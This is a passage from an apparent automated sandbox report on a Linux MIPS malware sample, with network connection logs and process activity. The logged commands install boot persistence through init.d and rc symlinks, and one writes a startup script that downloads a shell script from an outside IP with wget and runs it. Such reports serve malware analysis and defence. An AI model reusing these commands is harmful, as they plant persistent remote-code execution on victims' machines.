                                                    Dec 24, 2024 05:59:30.145762920 CET382425147294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:30.602808952 CET382425147294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:30.602890015 CET5147238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:30.986501932 CET5147438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:31.106435061 CET382425147494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:31.106550932 CET5147438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:31.106579065 CET5147438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:31.226176023 CET382425147494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:31.613421917 CET5147438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:31.777790070 CET382425147494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:32.448323011 CET382425147494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:32.448498964 CET5147438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:32.615467072 CET5147638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:32.735193014 CET382425147694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:32.735390902 CET5147638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:32.735424042 CET5147638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:32.855108976 CET382425147694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:33.243098021 CET5147638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:33.409816027 CET382425147694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:33.862042904 CET382425147694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:33.862278938 CET5147638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:34.245460987 CET5147838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:34.365072966 CET382425147894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:34.365333080 CET5147838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:34.365333080 CET5147838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:34.485003948 CET382425147894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:34.873208046 CET5147838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:35.038053989 CET382425147894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:35.491276979 CET382425147894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:35.491431952 CET5147838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:35.874825001 CET5148038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:35.994437933 CET382425148094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:35.994549990 CET5148038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:35.994584084 CET5148038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:36.114281893 CET382425148094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:36.501111984 CET5148038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:36.661786079 CET382425148094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:37.115667105 CET382425148094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:37.115776062 CET5148038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:37.502726078 CET5148238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:37.622320890 CET382425148294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:37.622456074 CET5148238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:37.622621059 CET5148238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:37.742156029 CET382425148294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:38.129748106 CET5148238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:38.289856911 CET382425148294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:38.743781090 CET382425148294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:38.743874073 CET5148238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:39.131335020 CET5148438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:39.250952959 CET382425148494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:39.251076937 CET5148438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:39.251091003 CET5148438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:39.371330976 CET382425148494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:39.758672953 CET5148438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:39.921906948 CET382425148494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:40.383189917 CET382425148494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:40.383296967 CET5148438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:40.760914087 CET5148638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:40.880543947 CET382425148694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:40.880875111 CET5148638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:40.880897999 CET5148638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:41.000567913 CET382425148694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:41.389144897 CET5148638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:41.553827047 CET382425148694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:42.002711058 CET382425148694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:42.002788067 CET5148638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:42.391684055 CET5148838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:42.511399031 CET382425148894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:42.511512995 CET5148838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:42.511547089 CET5148838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:42.631208897 CET382425148894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:43.019331932 CET5148838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:43.182212114 CET382425148894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:43.630852938 CET382425148894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:43.630980968 CET5148838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:44.021353960 CET5149038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:44.141388893 CET382425149094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:44.141541958 CET5149038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:44.141633034 CET5149038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:44.261342049 CET382425149094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:44.648401976 CET5149038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:44.809990883 CET382425149094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:45.267416000 CET382425149094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:45.267716885 CET5149038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:45.650199890 CET5149238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:45.769818068 CET382425149294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:45.769892931 CET5149238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:45.769912004 CET5149238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:45.889563084 CET382425149294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:46.275594950 CET5149238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:46.437901020 CET382425149294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:46.898619890 CET382425149294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:46.898863077 CET5149238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:47.277066946 CET5149438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:47.396848917 CET382425149494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:47.396944046 CET5149438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:47.397044897 CET5149438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:47.516653061 CET382425149494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:47.904135942 CET5149438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:48.066194057 CET382425149494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:48.523372889 CET382425149494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:48.523443937 CET5149438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:48.905764103 CET5149638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:49.025372028 CET382425149694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:49.025471926 CET5149638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:49.025471926 CET5149638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:49.145953894 CET382425149694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:49.531348944 CET5149638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:49.700289965 CET382425149694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:50.167692900 CET382425149694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:50.167804956 CET5149638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:50.533216953 CET5149838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:50.652980089 CET382425149894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:50.653122902 CET5149838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:50.653202057 CET5149838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:50.772798061 CET382425149894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:51.161124945 CET5149838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:51.353931904 CET382425149894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:51.783979893 CET382425149894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:51.784288883 CET5149838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:52.162883043 CET5150038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:52.282620907 CET382425150094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:52.282702923 CET5150038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:52.282769918 CET5150038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:52.402285099 CET382425150094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:52.790491104 CET5150038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:52.957931042 CET382425150094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:53.403067112 CET382425150094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:53.403163910 CET5150038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:53.792665005 CET5150238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:53.912444115 CET382425150294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:53.912537098 CET5150238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:53.912626028 CET5150238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:54.032157898 CET382425150294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:54.419291973 CET5150238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:54.586261988 CET382425150294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:55.039252043 CET382425150294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:55.039339066 CET5150238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:55.420552015 CET5150438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:55.540147066 CET382425150494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:55.540384054 CET5150438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:55.540426970 CET5150438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:55.659995079 CET382425150494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:56.047936916 CET5150438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:56.209949017 CET382425150494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:56.674701929 CET382425150494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:56.674815893 CET5150438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:57.050106049 CET5150638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:57.640336990 CET382425150694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:57.640619993 CET5150638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:57.640708923 CET5150638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:57.760719061 CET382425150694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:58.151236057 CET5150638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:58.314182997 CET382425150694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:58.771970987 CET382425150694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:58.772052050 CET5150638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:59.153270960 CET5150838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:59.272888899 CET382425150894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:59.273004055 CET5150838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:59.273083925 CET5150838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:59.392636061 CET382425150894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:59.780632019 CET5150838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:59.942131042 CET382425150894.156.227.234192.168.2.14
                                                    Dec 24, 2024 06:00:00.409358025 CET382425150894.156.227.234192.168.2.14
                                                    Dec 24, 2024 06:00:00.409475088 CET5150838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 06:00:00.782387018 CET5151038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 06:00:00.902084112 CET382425151094.156.227.234192.168.2.14
                                                    Dec 24, 2024 06:00:00.902193069 CET5151038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 06:00:00.902245045 CET5151038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 06:00:01.021898985 CET382425151094.156.227.234192.168.2.14

                                                    System Behavior

                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:/tmp/mips.nn.elf
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:sh -c "systemctl enable custom.service >/dev/null 2>&1"
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:-
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/bin/systemctl
                                                    Arguments:systemctl enable custom.service
                                                    File size:996584 bytes
                                                    MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:-
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/bin/chmod
                                                    Arguments:chmod +x /etc/init.d/system
                                                    File size:63864 bytes
                                                    MD5 hash:739483b900c045ae1374d6f53a86a279

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:-
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/bin/ln
                                                    Arguments:ln -s /etc/init.d/system /etc/rcS.d/S99system
                                                    File size:76160 bytes
                                                    MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf"
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1"
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:-
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/bin/chmod
                                                    Arguments:chmod +x /etc/init.d/mips.nn.elf
                                                    File size:63864 bytes
                                                    MD5 hash:739483b900c045ae1374d6f53a86a279

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:-
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/bin/mkdir
                                                    Arguments:mkdir -p /etc/rc.d
                                                    File size:88408 bytes
                                                    MD5 hash:088c9d1df5a28ed16c726eca15964cb7

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1"
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/bin/sh
                                                    Arguments:-
                                                    File size:129816 bytes
                                                    MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/bin/ln
                                                    Arguments:ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf
                                                    File size:76160 bytes
                                                    MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/tmp/mips.nn.elf
                                                    Arguments:-
                                                    File size:5777432 bytes
                                                    MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/lib/udisks2/udisksd
                                                    Arguments:-
                                                    File size:483056 bytes
                                                    MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/sbin/dumpe2fs
                                                    Arguments:dumpe2fs -h /dev/dm-0
                                                    File size:31112 bytes
                                                    MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/lib/systemd/systemd
                                                    Arguments:-
                                                    File size:1620224 bytes
                                                    MD5 hash:9b2bec7092a40488108543f9334aab75

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:54
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                    Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                    File size:22760 bytes
                                                    MD5 hash:3633b075f40283ec938a2a6a89671b0e

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/lib/udisks2/udisksd
                                                    Arguments:-
                                                    File size:483056 bytes
                                                    MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/sbin/dumpe2fs
                                                    Arguments:dumpe2fs -h /dev/dm-0
                                                    File size:31112 bytes
                                                    MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/lib/udisks2/udisksd
                                                    Arguments:-
                                                    File size:483056 bytes
                                                    MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:55
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/sbin/dumpe2fs
                                                    Arguments:dumpe2fs -h /dev/dm-0
                                                    File size:31112 bytes
                                                    MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:56
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/lib/udisks2/udisksd
                                                    Arguments:-
                                                    File size:483056 bytes
                                                    MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                    Chronological Activities


                                                    General

                                                    Start time (UTC):04:57:56
                                                    Start date (UTC):24/12/2024
                                                    Path:/usr/sbin/dumpe2fs
                                                    Arguments:dumpe2fs -h /dev/dm-0
                                                    File size:31112 bytes
                                                    MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                    Chronological Activities